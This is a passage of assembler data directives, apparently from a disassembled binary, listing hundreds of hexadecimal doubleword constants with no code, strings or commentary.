0E091C934h, 0E33E5E0Dh, 4B440225h, 87CA5657h dd 70CE631Bh, 0D6EFF685h, 613A8178h, 2928E82Fh, 71A9BDCh dd 0CA0563B7h, 4B3D2244h, 1B74EADh, 42A89DE8h, 22502CAAh dd 0DCB3CFC1h, 845560ACh, 93487DB3h, 65C2D465h, 55DAD59Bh dd 2001BA28h, 0EE061907h, 60C2ED27h, 4C17E3Ah, 0B245E433h dd 99CA3487h, 0CBB209A2h, 0D9957E58h, 4D369427h, 0E4F94535h dd 95D12A41h, 97064BDAh, 0B269D5BFh, 0F476757Dh, 0D082D0B2h dd 0BFFFE95Bh, 0C36EA749h, 81471AFBh, 575606ECh, 17DE3CE0h dd 6A4C60E5h, 62B3EED3h, 0E36DD539h, 0CD08BD89h, 1BB604CAh dd 14EFF9B5h, 0EFDB2F73h, 9231353h, 0BBBDE057h, 0F9832BDEh dd 18199175h, 0BE7FBD9Ah, 5AC7CB47h, 499C56DBh, 0CE53D78Fh dd 9CE93675h, 6A55513Ch, 1818C64Eh, 94F8219Fh, 2FFEE033h dd 48400FB2h, 570E0485h, 5AFAF870h, 4AC6BB3Ch, 0D830C2A2h dd 2E2033BFh, 0F83CDF69h, 75D5876Dh, 0E685FAB4h, 15495E79h dd 0DF28844Fh, 40C15D65h, 7E16E777h, 0FF2629F8h, 17C0D251h dd 0B31AB44Eh, 323A5204h, 9FD28EBCh, 0F90DAC64h, 0CE82EAC2h dd 3F2CA8B5h, 0FB34D5C2h, 1254DBC8h, 0A4AEA6Ch, 5AEEF264h dd 8E32CB90h, 7F814A2Bh, 6CF0A627h, 84071F37h, 94A0BA61h dd 0C95DF6F7h, 0A2B1D281h, 1DE9E3FBh, 3593E291h, 0CFAAC015h dd 3E0EF180h, 5302BA8Bh, 9DBC8EE3h, 0FE196AA0h, 8FF9D0EFh dd 1F2B849Eh, 64731139h, 29034B1Ah, 112C4872h, 0F8170D43h dd 8EE9D00Fh, 0B7EC6784h, 0AD0478A3h, 0AF37CE33h, 44936FF1h dd 7CB0139Dh, 0DADD5637h, 2D608A9Bh, 6821AB96h, 44A99334h dd 0EBC5401Fh, 1954BE0Ch, 0AA0241A3h, 0FE712AFDh, 0A16F4B70h dd 0EFB520AEh, 7E4727B5h, 0DBA00B29h, 57AE4009h, 7ABFDC0Ch dd 20227139h, 0CA6B57CAh, 0EF33A367h, 9B1C3693h, 40571ED1h dd 0C3E54407h, 5BF44B3Eh, 0D34FDFDFh, 1690D0C1h, 90326EFCh dd 4044BDBDh, 0E5BB2A69h, 14ADF06Fh, 5F7F87BFh, 0A62ACC9Eh dd 47172F8Ch, 8C810365h, 7FD1740Ah, 3AC6C585h, 61E85B35h dd 0F8EE548Eh, 0B8AB1200h, 0DB2864C8h, 0B075F3C7h, 451DCDD4h dd 64678E97h, 1EE8157Bh, 5797B59Bh, 21F5C56Ah, 77732EE8h dd 6B22A03Fh, 5F3C05D5h, 2F1AF182h, 0F4F9B61h, 31F10BE5h dd 4C675F7h, 0AFC9357Bh, 333F104Fh, 0FDE2874Ah, 0E2354A8Ch dd 13A9E37Ch, 2CB4FB93h, 0CD4E78FAh, 9F0F57C6h, 0D149A09h dd 0F9A43FC5h, 3E462CD1h, 2E39BC41h, 2B042093h, 0E4D34B6Ah dd 3DEA8C12h, 86FD5343h, 0C9F8001Eh, 0CAD90E65h, 0B89E050Eh dd 56DD877Ch, 81C9BF9Ah, 42626DE6h, 0F1F01E1h, 9D43Bh dd 0E088CCB9h, 3F0D8278h, 31352937h, 0EED3D422h, 45F7171Bh dd 5EE37DEh, 0E3E50CCBh, 634999B5h, 0B28649C3h, 92DCC0F4h dd 57EAE479h, 0B817EF4Dh, 0D0DAA444h, 0B503C4B2h, 22B862E1h dd 5765F9F7h, 369DA65Bh, 0A1EBCAB8h, 2946C3F4h, 0DE49ABF9h dd 0B6A549E1h, 9570104Eh, 3AD82EDCh, 40C5C3A2h, 0A05CFBCDh dd 0B5BCB19Fh, 974F1Fh dd 5AA26B3Eh, 76A88F7Eh, 4FF4B030h, 0E4F6CCF0h, 0DBED137Dh dd 0E764A688h, 0F9FF4776h, 8767689Bh, 8C3C0CB5h, 7FFC0481h dd 0B47C3F32h, 6EDFD53Fh, 0E0216339h, 0CF219D12h, 0A1DF0156h dd 7A4291DDh, 0A0DCD8D7h, 1BF87C9h, 0C2E42A56h, 0EEE3A75Bh dd 1D9D4CEDh, 285A3FF4h, 89D20F4Ah, 23E857Eh, 5A8C5BDAh dd 5A886E50h, 7E5F5E19h, 0CA372D96h, 5CA1A27Fh, 34ADBDBAh dd 37FC639Ch, 0C9FF6733h, 2391DD60h, 19D4BB67h, 52B15FA5h dd 0EC5F1250h, 425A031Ah, 65DAD002h, 7BD21E97h, 0B2F0EC65h dd 0E2D20889h, 0F255F6E2h, 68F6C460h, 0EC33B949h, 8879CFB8h dd 0F0B93C13h, 0E90EDFE0h, 1352BF72h, 813DF44Ah, 1B950866h dd 0A25E896Fh, 0B891FB1Ch, 2A873D94h, 0E30E39F5h, 2097F8A6h dd 0B4F67BEFh, 0F0AAFCEBh, 0C6029FF8h, 8909245Ch, 0EC2949B0h dd 9B5C61B1h, 0AA195929h, 0B92E85F6h, 7C64FECFh, 0BBA9F2FBh dd 0E49157A3h, 1E5A51ECh, 0B5D73727h, 780DB7B9h, 75438C7Ah dd 760B6E86h, 80C6D707h, 998ACB94h, 6181443Fh, 0ED3C3548h dd 9128072Dh, 0EE3D3DF9h, 0FF70AB69h, 0CD108BA5h, 0DF83C0C9h dd 0D4F31807h, 0CD862B0Ch, 0EEE86087h, 593C0621h, 96A8A678h dd 0F7B2E585h, 0E926804Bh, 0FD76941Bh, 9AE175E2h, 40F946D6h dd 0D4110C12h, 0C1F848A3h, 8281CE38h, 0C53D4D8Eh, 7F09E2D2h dd 0EC831CFDh, 0C9B91A5Eh, 678942FCh, 6B233FCAh, 8829A133h dd 2B498FC0h, 4C9859EAh, 0B6DB919Ah, 0C550D033h, 92D84C8Eh dd 0BC9FF6C2h, 0BD837392h, 8214CABDh, 4370D48Ch, 0FFF8999Fh dd 5E20DF91h, 4AEFCF3Eh, 0CA973D81h, 0F0C2D429h, 4570349Dh dd 0FD445616h, 3E998Fh, 0C70974BBh, 0C0F46ECEh, 54558F15h dd 8F7BDF5Fh, 0C9EEE830h, 0F8B6C002h, 4CE16153h, 7953D38Ah dd 1CCBC96h, 0B64C2D33h, 0D97DE169h, 0B5858D85h, 8AB5667Eh dd 0F06FE92Ah, 91B10B42h, 53FDBA97h, 99A3135Eh, 0B355E70Bh dd 0A1B73F6Dh, 70B9287Ah, 8223658Bh, 33ED986Ah, 83C888D8h dd 0EE4F8DE5h, 3930E55h, 0B6895D13h, 211E0824h, 97AE06B2h dd 7250EEAFh, 3739D1B5h, 0CC382729h, 3A0822CCh, 27166FA4h dd 0FE9B0604h, 0E59F2200h, 0DDBABEF7h, 90AAB39Bh, 204BC482h dd 2AED60A3h, 9C5A829Eh, 20B9DF4Ch, 58F1E60h, 0EF0ECE7Dh dd 337D77Ah, 32F2FC77h, 6633B4E2h, 826F4240h, 0E3B5ACD5h dd 9E397006h, 0E9980C63h, 6D3045BCh, 2C30F7B1h, 0CCCEE3A0h dd 9E6FA3C0h, 0E54B1081h, 2E43404Ch, 0B1E1677h, 9284062Ch dd 0DE788EF7h, 3258DEF3h, 9920016Eh, 4C58D49Bh, 0BEDEEC52h dd 14143A9Eh, 892CFE1Dh, 3E78E694h, 0CA0042F9h, 14DC3CF7h dd 0A54B8634h, 92BB21F8h, 2D89E508h, 0BF4D573Ch, 6B0A7448h dd 7D37D32h, 0F9B3C0Bh, 0C27D0E46h, 0CE67B53Dh, 63F47F84h dd 0FA0B32EBh, 0AB5849Bh, 3309E08Dh, 2FE0998Ch, 0A8A6FC11h dd 0DB246DD9h, 221D2E87h, 39676E15h, 0AD42DF68h, 2B1216BAh dd 9521AC43h, 0A1F7119Bh, 0BDAFFFA0h, 0E7578D46h, 0AFD6751Bh dd 0BE5FE7A3h, 0CFAF7BFCh, 0D8706F04h, 0E997B9D7h, 4F043D23h dd 0F1B23809h, 4A1ECEE4h, 0A21BB1F3h, 0CD0B0C0Fh, 11D67D6Bh dd 0F2421775h, 45DD4D9Bh, 8E314Fh, 6516D28Ch, 836DAD57h dd 0FF0509C3h, 0D4226672h, 0C0FB78F5h, 6EDDF4C9h, 0FE930079h dd 0FB4D8596h, 0B7537DE8h, 0B3E537Eh, 5FA9F95Dh, 0BF25A3DFh dd 55566D45h, 4108E78h, 0DECDB960h, 29A25D18h, 0ECA1AE5Eh dd 148EC75Dh, 1D72FE62h, 0F0F8F7B9h, 88D060Dh, 9E088328h dd 70F03EABh, 21BC1068h, 0F331A14Fh, 0DCC857C2h, 64558156h dd 496999CCh, 5B96F685h, 7FAFB220h, 17CFF68Eh, 266AA458h dd 5BF6F336h, 12D80CB5h, 359ABBBFh, 0F8F5BC72h, 8763D53h dd 0F2720B0Eh, 0B0849F21h, 49DCC81h, 0FF2D1475h, 99187F6Dh dd 0BE601CB0h, 8A84438Ah, 6EE49B8Eh, 0C44FE897h, 0C91346ABh dd 5BB7EB2Ah, 981EBEBAh, 0E41673E3h, 9210FE89h, 0E24E35F6h dd 2A89621Fh, 6C415DB2h, 48B0D2FDh, 3D83FCC6h, 27997246h dd 0EE227EFBh, 4334BD4Dh, 619DE411h, 1FDEE49Ch, 0B41B2FECh dd 1BBFAA82h, 98EAED21h, 4A41999Dh, 99B2201Eh, 0CE208218h dd 0C5396D23h, 2DA1429Ch, 0EBB14C2Fh, 0F3BD0C43h, 0C56642B5h dd 0AAA99042h, 2BD6600Ch, 0CB03D896h, 0CDFBB6A6h, 21118246h dd 19BC671Dh, 0D730F1FCh, 996BE587h, 0BC6AE53Dh, 958FEC8h dd 0E1EC6C58h, 0CAE0FBACh, 0E811A973h, 31E7074Fh, 68BC8747h dd 42E7F2CEh, 41606EA2h, 48EEF58h, 0D6B5EFB2h, 0FC64FAD4h dd 0C43C6286h, 763D2C57h, 0FC817475h, 0D6F98E18h, 0F7792C5Dh dd 0E6AA605Eh, 0AA13A5AFh, 2BDF611Fh, 0C8CBF7E6h, 28069A11h dd 0CB6075EDh, 0F9062BF9h, 0FA5B32BEh, 38E4197Eh, 886A4DFDh dd 2787E111h, 0D7A64DABh, 21BD9BE4h, 67E4470Fh, 0D458FEDBh dd 975125FEh, 0A006A9B7h, 8A21A812h, 0EF1FECC9h, 0D1114693h dd 0BC7BC15Bh, 29176A55h, 5F740D29h, 4DB3AD8Ch, 8144C3FFh dd 33309F26h, 0B9B16BD8h, 9484D89Ah, 0B43E3A73h, 1053EB41h dd 105FB552h, 31FF53BCh, 0EFEAACA3h, 0A897DADFh, 64D7D24h dd 0B4C09D09h, 16524BCFh, 0C9D5BD21h, 10FAA481h, 6DFE2F2Eh dd 750E7BC5h, 587A6004h, 0C22C6DE2h, 985E9D35h, 0F30AE42Dh dd 0ADA11ACFh, 538148E4h, 22CAF1FBh, 0B6D9CD29h, 76480E63h dd 269A1911h, 10E38656h, 7C709295h, 0DA48F9DCh, 1B191881h dd 3A2EB403h, 0C1CE58E6h, 2C07152Bh, 79B578DAh, 2FE251B8h dd 0A4AC8636h, 1C00CA7Ch, 7CD82545h, 95C5CDD8h, 0CB61B3E8h dd 0E17BC586h, 0B0509CDBh, 51D45FA6h, 53FEA113h, 49D56C3Dh dd 6195F7B9h, 779C7B32h, 77D0469Ah, 0C71B5082h, 9082636Eh dd 94BD82E1h, 8F4770ACh, 20971C24h, 394CF171h, 355FA74Dh dd 0F8285CF0h, 96F58326h, 30D1D832h, 0A246D2E1h, 8DA8DA20h dd 30C9C0B9h, 9C24B7C8h, 5BE325D9h, 6D12BBC1h, 1D153785h dd 76B2451Eh, 4C0C7A40h, 0F0D9E1A1h, 2C2AECE5h, 872A9680h dd 6FDAF319h, 41F6A9A1h, 1A7E6D0h, 0ED855D7Ah, 37345804h dd 85FDB162h, 636D4757h, 1D5125D0h, 0B500A37Eh, 8439334Ch dd 7F911CD3h, 800BAEDAh, 6AC55E49h, 8543BF14h, 697537F6h dd 5567663Ah, 0F2B60146h, 4A10533Ch, 4426264Bh, 0D127B9DBh dd 98DA3630h, 59854F01h, 0EC9473EDh, 3F402509h, 0C998B8C1h dd 0A0AAED3Eh, 0B1F01297h, 0E9389F79h, 6D425540h, 2F597058h dd 0FB3C1012h, 6D26F212h, 11C3D355h, 25BDF91Ch, 38913FC4h dd 45E83A01h, 7BCA7BDAh, 7F41B1CBh, 0E9C6F28h, 66256432h dd 154E21C9h, 0BF02C68Ah, 0ED2B38A4h, 1EADD9FBh, 0F7C46962h dd 0C52B3735h, 0DE7FE053h, 9C05CA56h, 412678E9h, 0A5F47415h dd 0F9C9E7A7h, 0A70DF600h, 0C7BCB816h, 40CF96F9h, 6FC00CBh dd 2560FE58h, 93134AB8h, 0D97878F2h, 4212CA26h, 0B820B31h dd 7B26CAD9h, 4247ADBAh, 0D9CD94FDh, 7DEB65EEh, 0C6628DC6h dd 0B80AB122h, 230DAD2h, 8CB24169h, 630AC335h, 292D242Dh dd 3BA5B319h, 9DFD4B46h, 0B2F99E4Eh, 9D9AAEACh, 0D55436AFh dd 0A7FD9620h, 0FE1BB8EBh, 0EEAA6802h, 0E4D74453h, 0C7FB7336h dd 0F4CF2A0Ch, 42136277h, 6E37A0A8h, 1BA4750Ah, 5D1B2122h dd 0A08F8A10h, 0A7D29FDEh, 8B705663h, 9B1AF53Eh, 4F1FDCA5h dd 696DB877h, 0C54169CCh, 82DEB41Bh, 0F8D4426h, 7A4BBA5Fh dd 7E6F68ACh, 0AD7A8093h dd 0D5473F15h, 0C6FB7F2Dh, 705F9362h, 7CC9FA3Ch, 42890705h dd 7E159B96h, 533A5739h, 368F3635h, 9DA22D7Fh, 3CBF23BCh dd 2847255Bh, 0F4037BFBh, 0F3D026D1h, 1FE7FB19h, 0B0E9D3AAh dd 1A5689A0h, 971ACBACh, 7E3D12ACh, 9650AF0Fh, 9AA0326Ah dd 5FBEF640h, 5E3554BAh, 9940EB60h, 18D75893h, 0B25366AEh dd 0ADAC2C0Bh, 48056307h, 505DDE5Dh, 0DC13794Bh, 0DB879A66h dd 143E05B6h, 91BD6AE9h, 643A4A7Bh, 5855A08Ah, 479B0801h dd 104FED97h, 0A29F975Ah, 7C2BC497h, 3A8FEB66h, 88F84417h dd 380C3C5Ch, 15393E7Eh, 0BC4410DCh, 0D7FAD70Ah, 2279D4B9h dd 3C6F87E9h, 0E2BBFD3Eh, 4C02A32Dh, 12EE5651h, 947FF4E2h dd 0D8C3527Bh, 997DA54Ch, 0D66FC0C1h, 3AC47F5Ah, 3BBE85Ch dd 46755E26h, 0D575900Ch, 36E500B6h, 5D65835Ch, 0F81C33EEh dd 0D0DA60F3h, 850CECD4h, 0DA84E59Dh, 0C0B741EBh, 0A3A63369h dd 44B9342Eh, 339E8E96h, 2299348Eh, 94D9BADEh, 5800D129h dd 0BFC9B2CFh, 0A8A26BBh, 9F50ED6Dh, 85ADCEC0h, 27D5F93Ch dd 0EE1657F0h, 9C0A0312h, 0D67BF62Fh, 23D691D1h, 97208116h dd 1F1E798h, 0B425DE40h, 1287B88Fh, 72A34FDEh, 3CE725F0h dd 0C01FF910h, 0B062C03Ch, 0CD819CDDh, 0EE773C73h, 0FA8BCF4Fh dd 0EFF97DDFh, 489EC2BCh, 0B4F59FBCh, 0E23C8270h, 0E8C6F32Ah dd 5B92313Fh, 0B9FC4E25h, 0B0488322h, 7A09686Eh, 0BB73935Dh dd 70655437h, 2FDBDCF4h, 0FC7EB666h, 210F845Eh, 60BE10C7h dd 52BA348h, 23B6C5E1h, 0F6BC6E28h, 0F0301A82h, 7315DADEh dd 4EFD6779h, 762CC88Fh, 0AA745D2Eh, 3DEA7A79h, 66C1F0BAh dd 173671Ah, 31D0ABDDh, 0E52CEC9Ah, 0BDCC3E68h, 0D033E898h dd 340DA757h, 0F7659783h, 74419B00h, 5F75586h, 0DEDEFBCEh dd 392303C8h, 23E7D75h, 34E66339h, 0F919A5ECh, 31BD444Ah dd 80F9922Ah, 958E9294h, 0DDBC22ADh, 0A369638Fh, 0EDF97509h dd 681F30BCh, 0C93FF8FEh, 1A59FD08h, 48B4F4B8h, 765AE2A7h dd 46AB0F41h, 0FAA5FA7h, 7BC8360Ch, 1ADF608Eh, 0FEF66DB5h dd 457C4F4Fh, 8EBA8403h, 0C7FD78EBh, 0F3C441B7h, 564D9F45h dd 79FB5F22h, 0F471DBF5h, 0B8DDC302h, 0ACA5BFB8h, 0EBAB198Ch dd 0B4E7C20Dh, 6F729BFBh, 5A799949h, 0E6FAD9Ch, 120887EDh dd 1DC20B0Ah, 38013052h, 0DC5F8861h, 0B46474AFh, 6BDB475Bh dd 0FEBEC675h, 0F249C540h, 3195DB7Bh, 4D376B7Fh, 2F4639B4h dd 2A69668Eh, 0A645E910h, 92711C44h, 0AB5C6C16h, 8FB4CCFCh dd 0ECC15FBCh, 9853330Ch, 0AA4C672Bh, 99D882C1h, 88B6B450h dd 0C44A6735h, 0E78264D9h, 0B87B79E0h, 0DBA5395h, 45A365E4h dd 0C51AAE01h, 0C98FCC18h, 0D39693E1h, 34D22837h, 2BD3E83Eh dd 0B04BD88Ch, 20BA0912h, 39E7AABDh, 3891C976h, 784231E4h dd 120BE3Ch, 0E78E746Bh, 64ECE5B5h, 0CA76326Bh, 4A59FBCEh dd 54BBE6D4h, 0FDD31D35h, 412A7893h, 968D2E3Ch, 599F2AAAh dd 5D5FAB03h, 542DA58Bh, 0F0DBCC97h, 65257AEh, 0C1BBE9E6h dd 3149532Bh, 8DBCE261h, 0D737D486h, 0FAB2B3C4h, 11F966A0h dd 5C93A1F0h, 1CBC75A2h, 0B409A646h, 7A540E2Bh, 6156057Fh dd 0C5FB72FFh, 224429C0h, 53C9250Eh, 72B75448h, 8913F8DDh dd 0AE7A405Dh, 4CC7CBB2h, 0FE512E6Eh, 844FF6CAh, 849D3BCFh dd 0DA9F0088h, 951D8417h, 0A5F1A812h, 6DB6C065h, 3E02B0BDh dd 0DAD53E21h, 88AD16F4h, 0DFC8B527h, 0D0500EB5h, 13B87A80h dd 2C1E6596h, 0B9557F04h, 0FAC36B84h, 2E28BE41h, 6A5BCC54h dd 866A17CBh, 0F8912C35h, 7F4F0C75h, 4F4FFE68h, 333E1247h dd 0FC6DC6D9h, 0CBA9C9BFh, 0C9E6C383h, 3C1C2944h, 0CD139F39h dd 0BED5AA98h, 8ECD7BF5h, 9C1A9BA3h, 0C191DD30h, 69851AA8h dd 4638AD04h, 8998FD4Eh, 333AFD9Dh, 3DCBB426h, 1A3C756Ah dd 5EE0100h, 9AA80274h, 0BBB5E70Bh, 82D48B9Bh, 25DD64F0h dd 21217161h, 0F9EA780Fh, 0B53883ADh, 868F6A5Eh, 0B6409CC3h dd 8EFD5A51h, 0FDE321Eh, 597AD5A3h, 28CAB159h, 96ECBA72h dd 0B4BBC07Fh, 0A7878456h, 56A46853h, 0F1BA120Ch, 0FCFD1400h dd 0A2CAEE1Eh, 0CF1FFE4h, 8344ADEh, 4F0AB476h, 0CFB6C07Bh dd 0B4E02BAFh, 1DE35C39h, 93D27FB2h, 0FB85A141h, 4B8F7AA8h dd 0CB5B6976h, 41477F0Ch, 9FD82946h, 13CC4C15h, 0BDB9D8Bh dd 2278FBAh, 4E895E13h, 0D1EC38C3h, 0E07DF1B9h, 8C560388h dd 0D9DE13A5h, 95AB56B1h, 1ECFACF1h, 2BB4811Ch, 896CCBAFh dd 785D4036h, 84602361h, 9A35400h, 50EF9907h, 0DB7B48C0h dd 0ECCC5821h, 24BD3AA3h, 494A2656h, 3E5BF45Ch, 6ADB33D2h dd 0D8F3AB1Ch, 5074575h, 54EA00A8h, 237BC8Ah, 0EB310787h dd 2E00EB05h, 0EDE428E0h, 4EEB5ED5h, 641DC8D6h, 0A50A8DB4h dd 168A4AC6h, 6ADB9C75h, 0AC24710Bh, 36EA3DA9h, 3F8BC1C8h dd 0D60DE34h, 5F3C886h, 0B740AF2Fh, 6677FF45h, 6C607402h dd 5896CBFFh, 90A392E6h, 0A7E92FFEh, 18D0B2FAh, 620ECAA6h dd 0E23CB60Dh, 6559CBBAh, 10BBB7EBh, 27C229C3h, 0ACF9860Dh dd 8BC372FCh, 836DC3BAh, 4A0B49A0h, 0D5AAF293h, 0C1246963h dd 84F5F8h, 9B01FC23h, 0C1244D8Fh, 9FF1FB29h, 0C2563F0Eh dd 5183A900h, 9EA9FD2h, 3C0BAB85h, 47011621h, 207ADBAEh dd 6BF02F3h, 1A4B1099h, 7CB5993Ah, 0B19FFFDFh, 3EB1DAD9h dd 4D0C1157h, 2F592024h, 198C448Dh, 5801E8FFh, 0BEDDACCEh dd 1AE028E4h, 0B819B233h, 606AA905h, 5599B7AAh, 71DA2051h dd 5F7CEF7Dh, 0FCE5070Fh, 64A431F8h, 0EFDF8017h, 20FCDAE3h dd 0A93B6820h, 26D0B8A4h, 0D69B5331h, 6E485779h, 748A373Dh dd 0A5EFFF2Ch, 0E14EB812h, 0F35DC84Fh, 17D73E91h, 7D2CD42Eh dd 1FDF9D32h, 0A3004CE9h, 2481475h, 8E90785Ah, 0FACB5395h dd 0D8EE417h, 9084DC35h, 4EF04753h, 721239Ah, 7EE53167h dd 1F998020h, 0A389B043h, 6F85AA92h, 62945912h, 0BC6D0591h dd 4249FE78h, 4B87A843h, 1A55DD9Ch, 0A75F7F13h, 0C0C06C71h dd 0C740C96Ah, 5EB60167h, 9F5E582Eh, 0EC9A6F3Dh, 0F1B40AD0h dd 921E424Fh, 0B515F978h, 0A20F2A0Fh, 4566C548h, 26104828h dd 86AE9B65h, 9E932655h, 1A4E3088h, 0D4C92ECFh, 0AA052CEFh dd 0E55BCE63h, 0A053F703h, 0D03FAF5Dh, 81ABEE94h, 19285D60h dd 8559FEh, 5CBD7490h, 0B728B6CFh, 566E394Ch, 95FC61BEh dd 5734E47Eh, 13031F9h, 7671E20Ch, 0EC13DBDDh, 0A72CAF0Fh dd 0B6FBFBA7h, 39A20F7Dh, 0CD7F728Ah, 0DC9EC322h, 233BB2C6h dd 263DB01Fh, 50528F0Ah, 1E03BA6Fh, 387FC68Bh, 4F2BCA04h dd 0F1A13148h, 0E66C6408h, 9672A497h, 8FB2AC0Ch, 5F7C6E9Bh dd 0D5BAEE94h, 0C5995E82h, 0AB5BB010h, 2679F148h, 1BFE7EABh dd 0C266345Ch, 0F1CA94A5h, 42E25590h, 26AD343Ch, 0DC17031Eh dd 2FA0D0A6h, 9357A288h, 0BBFD9CB7h, 0EBBC45ECh, 0E1970D48h dd 0FE8C12A0h, 563222ADh, 522D3F47h, 20E5BF78h, 2773B566h dd 6CF33AC1h, 3C3E3505h, 64F0D57Bh, 2FF09C75h, 0E4BB7B4Ah dd 97523CD6h, 7BBEC272h, 96429AA6h, 14F0BC0Bh, 350D4680h dd 906A6863h, 2F26B06Ah, 0CF24C041h, 0C08D1D39h, 0C9FF7E61h dd 0B6C1DC93h, 0C05F099h, 989FA35Ah, 31309A41h, 226DAC53h dd 6DA0578Ah, 333772BDh, 67BF1AA5h, 13D6ECFEh, 90D88E95h dd 5A00C9ABh, 0B31AB746h, 4CBA1E6h, 0EC070A4Bh, 0BE342D57h dd 0E6E0332Eh, 0A508C604h dd 5D3B7AC1h, 0A880C0E2h, 32CC32A8h, 452DB8Ah, 0B358415Ah dd 688EA903h, 0C75CC624h, 0FE9F7A56h, 0CB6B2299h, 3C579AB5h dd 4FA128CBh, 24A8C2C4h, 3C7A62B4h, 0F9D84450h, 65FFB78h dd 0BBCE9C43h, 0ED49A01Dh, 816E552h, 33540D53h, 0E174429Fh dd 4BF2C1EEh, 8685200Dh, 0E14EC2CEh, 0EF1A57A2h, 9E77CB12h dd 1131C979h, 3A030D77h, 634B010Fh, 76E4E15Eh, 0B9464DECh dd 0CA421FF5h, 0DBFF50B8h, 3FB27B63h, 3B0C9BB9h, 55C30D6Dh dd 0E2F153B2h, 0CD18CCCBh, 0B2D5C8D5h, 1C5DA2ECh, 1502C1F8h dd 88920F21h, 0EE6191B4h, 30183131h, 15E206EAh, 0A7B10E37h dd 0CC073DFDh, 9C8EC0A3h, 9CC36F68h, 8C08CD3Eh, 36BB0E15h dd 0A66B1820h, 412F47E0h, 2649AB6Dh, 1F40EE31h, 2E234211h dd 13BF2E46h, 7CB99330h, 0B17D0C6Ch, 0F7E2A756h, 4FBF9CFDh dd 1C76CF9Bh, 0AAAF10B0h, 925ADB3h, 0A8718CF9h, 3BDDE269h dd 0CFB0F5B9h, 86408811h, 133849h, 0F8E03951h, 1279B362h dd 147C9FA2h, 2F938B4Ch, 10209BA2h, 0F2E625Fh, 2CFC1AB2h dd 0EBE8570Dh, 4BCDAFFDh, 2686AFADh, 379544Dh, 8795C07Eh dd 6A056018h, 805BBF27h, 678E1136h, 0E6C305F7h, 522B0081h dd 7A83137Ah, 0F759910Ch, 0CEF0620h, 5A686D9h, 8A8BB51h dd 59D7265Ch, 4AB24D3Bh, 0C0D643B4h, 1697DD46h, 0F517E006h dd 837C6222h, 5231597Fh, 0A3AA66BBh, 1CA92B0Fh, 695FC79Dh dd 2E013E25h, 0BEF5660h, 80BA046Dh, 0A8F77B59h, 0A91BF35Ch dd 0C14E7B2Ah, 6755B0CAh, 990B1E0Dh, 0E4F4E83Eh, 3BDC7200h dd 0D2D75070h, 51A058F9h, 9A7CA6A9h, 1F1E9AA5h, 683EE990h dd 0FA063799h, 0E7A4ECB9h, 82BED4CEh, 491C53C6h, 0E28EC4ABh dd 3ED39C19h, 0DBDD76EBh, 0B9DFA874h, 0B786F953h, 56054AFCh dd 5E921DF3h, 22E099DAh, 0BC693AF2h, 0EE533AF5h, 27DABBE5h dd 0B91ACFD5h, 0D3F025EAh, 983D48F1h, 0EF4AD08Eh, 5D10D236h dd 446EA5A6h, 22A48F5Bh, 67D95E7Dh, 87D71A05h, 63F26743h dd 6E89D377h, 1BC1A0B4h, 268554D2h, 2480E30Eh, 0E3607F6Bh dd 291647ACh, 94D3EB3Ch, 62521870h, 0A7025499h, 0AFDCEEA8h dd 3ADAABA7h, 0A1637213h, 0F30CDC76h, 75F0DEF6h, 0F98BB609h dd 91A0EB98h, 0EA03A290h, 1080C3D5h, 0A96CB93Ah, 1F2BA346h dd 6E16BE61h, 0D45E0B32h, 336DA7B3h, 0E274C7C7h, 5B52C409h dd 0F25B980Bh, 297A2E53h, 0FE76DB8Fh, 0DA65BEA9h, 0F2723657h dd 0E46D9CB4h, 0DD93525Eh, 0E7AAFB6Ch, 7E3C5F4Bh, 0B3A0102Eh dd 78C63B82h, 0A4322313h, 35E2DD2Ch, 2FFC1370h, 0D366F439h dd 0EB250366h, 285B30D3h, 4D1636D8h, 9E47A181h, 0D275C10Ah dd 25C93248h, 769036E9h, 3A792996h, 5913F9DFh, 82889286h dd 0BC74D0F9h, 5890DB4Eh, 5546A6C4h, 349228CDh, 76958672h dd 0AD4A7FD5h, 87F865CBh, 0B8590E60h, 0F8D45888h, 28E61F76h dd 0CA767AC2h, 1B62C0F7h, 72EFDBF4h, 0DBF17279h, 0BB8DB3A2h dd 6008E207h, 171E1h, 5A2D06EFh, 0D6182104h, 1F8FE182h dd 9AA9EBB9h, 42DFFCC7h, 7F3A88B3h, 18920E15h, 0D2586EF4h dd 0F9989D60h, 9B3A8727h, 0CC59C4h, 0B633D319h, 49F8A3D0h dd 31C9E731h, 0EC7A3731h, 0A8070835h, 0D927ABDFh, 0D6586AD7h dd 0B4B18DB9h, 0E7367C09h, 95FE32F0h, 5D090E3Dh, 82AD17FBh dd 3D6D27FFh, 0AE4BE2A1h, 1B8EBEEEh, 62B9C916h, 0B510809Ah dd 673E966Eh, 0C2A90C8Ah, 0C6EBAA39h, 9BD1F2Ch, 31DC24D6h dd 0E8F47DADh, 0F58DE9E7h, 966BDF1Ah, 854FA63Ch, 0BD9706F9h dd 0DB2586CFh, 0B4026043h, 1CB1739Ch, 0A485A643h, 1BE08A96h dd 0A1F93C06h, 15A7D848h, 0E1C847ADh, 0EEA37D2Ch, 0A06B6D73h dd 334C2D2Fh, 9E92BD51h, 0AAD71D80h, 51C902B5h, 0AE5A9DA4h dd 0ABC97FD4h, 0AA44769Bh, 583EBD47h, 88665068h, 54ADFE3Ah dd 6A307C1Fh, 0DB143BA9h, 5E011DC1h, 7B2ABB6h, 8CD599B4h dd 0CC88380Bh, 8154352Bh, 940132DAh, 921EB130h, 0B719BAA5h dd 2F795600h, 0EBFC1A42h, 0E36DF378h, 0CF715D5Eh, 4C571625h dd 87933FD1h, 75F35FCFh, 95474B11h, 3BCE767h, 0A1F46459h dd 0D934B1D0h, 0BF96FCB0h, 8798728Eh, 97A22506h, 495352B0h dd 8A65A687h, 0EE6128F7h, 299B9307h, 0CC6EAD66h, 0DDECD511h dd 7FBEF396h, 79E19E84h, 0AB902C8Ch, 5460044Dh, 634A0079h dd 5227C4E1h, 10265B03h, 18851140h, 96951A29h, 561C255h dd 0F4198691h, 0C3E41BC9h, 0EE69CDB0h, 53709C29h, 0D0B99CE3h dd 726D8B01h, 0F8132EA9h, 0D95493FEh, 6EA2D24h, 6F277B12h dd 147D0FAh, 191FE2D9h, 642B8CA3h, 3A4F61A6h, 7C107359h dd 99F3889h, 68F1FD81h, 0C954E796h, 0D26505F8h, 6F9B460Fh dd 0CB829CE5h, 80DC1604h, 30F1689Dh, 89F0BACEh, 6EF66D50h dd 0A2EA805Eh, 0F2E659B9h, 0C247A65Bh, 9F7C92ECh, 91C534A8h dd 562BD748h, 0FA081FAAh, 3F9D2107h, 0BCDC8673h, 0CA64F4FAh dd 0A67919BBh, 0C4F5DC35h, 946AB150h, 0B31F10D0h, 